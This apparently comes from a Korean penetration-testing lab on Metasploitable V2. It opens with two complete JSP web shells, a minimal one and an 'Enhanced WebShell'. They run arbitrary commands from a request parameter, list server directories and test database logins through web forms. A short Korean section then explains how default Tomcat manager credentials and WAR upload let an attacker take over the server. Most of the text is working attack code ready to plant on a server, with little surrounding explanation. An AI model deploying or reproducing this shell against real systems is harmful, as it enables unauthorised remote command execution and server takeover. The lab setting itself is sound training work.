실습 파일 - shell.jsp

<%@ page import="java.io.*" %>
<% 
    String cmd = request.getParameter("cmd");
    if (cmd != null) {
        Process p = Runtime.getRuntime().exec(cmd);
        BufferedReader br = new BufferedReader(new InputStreamReader(p.getInputStream()));
        String line;
        while ((line = br.readLine()) != null) {
            out.println(line + "<br>");
        }
    }
%>
<%@ page import="java.io.*, java.sql.*, java.util.*" %>
<% 
// 명령 실행 기능
String cmd = request.getParameter("cmd");
String output = "";
if (cmd != null && !cmd.isEmpty()) {
    try {
        Process p = Runtime.getRuntime().exec(cmd);
        BufferedReader sI = new BufferedReader(new InputStreamReader(p.getInputStream()));
        String s;
        while ((s = sI.readLine()) != null) {
            output += s + "\n";
        }
        sI.close();
    } catch (Exception e) {
        output = "Error: " + e.toString();
    }
}

// 디렉터리/파일 리스팅 기능
String dirPath = request.getParameter("dir");
String dirOutput = "";
List<Map<String, String>> fileList = new ArrayList<>();
if (dirPath != null && !dirPath.isEmpty()) {
    try {
        File dir = new File(dirPath);
        if (dir.exists() && dir.isDirectory()) {
            dirOutput = "Listing directory: " + dir.getAbsolutePath();
            File[] files = dir.listFiles();
            if (files != null) {
                for (File file : files) {
                    Map<String, String> fileInfo = new HashMap<>();
                    fileInfo.put("name", file.getName());
                    fileInfo.put("type", file.isDirectory() ? "Directory" : "File");
                    fileInfo.put("size", String.valueOf(file.length()) + " bytes");
                    fileInfo.put("lastModified", new java.util.Date(file.lastModified()).toString());
                    fileList.add(fileInfo);
                }
            } else {
                dirOutput = "No files found or access denied.";
            }
        } else {
            dirOutput = "Invalid directory path or not a directory.";
        }
    } catch (Exception e) {
        dirOutput = "Error: " + e.toString();
    }
}

// 데이터베이스 연결 정보 확인 기능
String dbOutput = "";
String dbUrl = request.getParameter("dbUrl");
String dbUser = request.getParameter("dbUser");
String dbPass = request.getParameter("dbPass");
if (dbUrl != null && dbUser != null && dbPass != null && 
    !dbUrl.isEmpty() && !dbUser.isEmpty()) {
    try {
        Class.forName("com.mysql.cj.jdbc.Driver");
        Connection conn = DriverManager.getConnection(dbUrl, dbUser, dbPass);
        dbOutput += "Database connection successful!\n";
        DatabaseMetaData meta = conn.getMetaData();
        dbOutput += "Database Product: " + meta.getDatabaseProductName() + "\n";
        dbOutput += "Database Version: " + meta.getDatabaseProductVersion() + "\n";
        dbOutput += "Driver Name: " + meta.getDriverName() + "\n";
        dbOutput += "Driver Version: " + meta.getDriverVersion() + "\n";
        conn.close();
    } catch (Exception e) {
        dbOutput = "Database connection failed: " + e.toString();
    }
}
%>
<html>
<head>
    <title>Enhanced WebShell</title>
    <style>
        body { font-family: Arial, sans-serif; margin: 20px; }
        h2 { color: #333; }
        table { width: 100%; border-collapse: collapse; margin-top: 10px; }
        th, td { border: 1px solid #ccc; padding: 8px; text-align: left; }
        th { background-color: #f2f2f2; }
        tr:nth-child(even) { background-color: #f9f9f9; }
        input[type="text"], input[type="password"] { width: 300px; padding: 5px; }
        input[type="submit"] { padding: 5px 10px; }
        pre { background-color: #f4f4f4; padding: 10px; border: 1px solid #ddd; }
    </style>
</head>
<body>
<h2>Command Execution</h2>
<form method="GET" action="">
    <label>Command:</label><br>
    <input type="text" name="cmd" size="50">
    <input type="submit" value="Execute">
</form>
<pre><%= output %></pre>

<h2>Directory Listing</h2>
<form method="GET" action="">
    <label>Directory Path:</label><br>
    <input type="text" name="dir" size="50" placeholder="/path/to/directory">
    <input type="submit" value="List">
</form>
<% if (dirPath != null && !dirPath.isEmpty()) { %>
    <p><%= dirOutput %></p>
    <% if (!fileList.isEmpty()) { %>
        <table>
            <tr>
                <th>Name</th>
                <th>Type</th>
                <th>Size</th>
                <th>Last Modified</th>
            </tr>
            <% for (Map<String, String> fileInfo : fileList) { %>
                <tr>
                    <td><%= fileInfo.get("name") %></td>
                    <td><%= fileInfo.get("type") %></td>
                    <td><%= fileInfo.get("size") %></td>
                    <td><%= fileInfo.get("lastModified") %></td>
                </tr>
            <% } %>
        </table>
    <% } %>
<% } %>

<h2>Database Connection</h2>
<form method="GET" action="">
    <label>Database URL (e.g., jdbc:mysql://localhost:3306/test):</label><br>
    <input type="text" name="dbUrl" size="50"><br>
    <label>Username:</label><br>
    <input type="text" name="dbUser" size="50"><br>
    <label>Password:</label><br>
    <input type="password" name="dbPass" size="50"><br>
    <input type="submit" value="Connect">
</form>
<pre><%= dbOutput %></pre>
</body>
</html>

Tomcat 관리자 페이지 취약점은 Apache Tomcat 서버의 관리자 콘솔(예: /manager 또는 /admin 경로)이 외부에 노출되어 있거나, 취약한 계정 정보(기본 계정/비밀번호, 쉽게 유추 가능한 자격 증명)로 인해 공격자가 관리자 권한을 탈취할 수 있는 보안 취약점을 말합니다. 이 취약점을 악용하면 공격자는 웹 애플리케이션 서버에 악성 파일을 업로드하거나 시스템을 완전히 장악할 수 있습니다. Metasploitable V2에서는 Tomcat 5.5 버전이 기본적으로 설치되어 있으며, 이 버전은 관리자 페이지 취약점이 잘 알려져 있습니다.

2. 취약점 원인

Tomcat 관리자 페이지 취약점은 다음과 같은 원인으로 발생합니다:

  1. 기본 계정/비밀번호 사용: Metasploitable V2의 Tomcat은 기본 관리자 계정(예: tomcat/tomcat)이 설정되어 있으며, 이를 변경하지 않은 상태로 노출됩니다. 공격자는 이를 쉽게 유추하거나 무차별 대입 공격(Brute Force)을 통해 접근할 수 있습니다.
  2. 관리자 페이지 노출: 관리자 콘솔 경로(/manager, /admin)가 외부 네트워크에서 접근 가능하도록 설정되어 있으며, URL 유추가 쉬운 구조입니다.
  3. 취약한 버전 사용: Metasploitable V2의 Tomcat 5.5는 오래된 버전으로, 알려진 취약점(예: CVE-2017-12617) 패치가 적용되지 않았습니다.
  4. 부적절한 접근 제어: 관리자 페이지에 IP 제한이나 2차 인증과 같은 접근 제어 메커니즘이 없어 비인가 접근이 가능합니다.
  5. 파일 업로드 취약점: 관리자 페이지에서 WAR 파일 업로드를 허용하며, 입력 검증이 부족해 악성 코드 포함 파일을 업로드할 수 있습니다.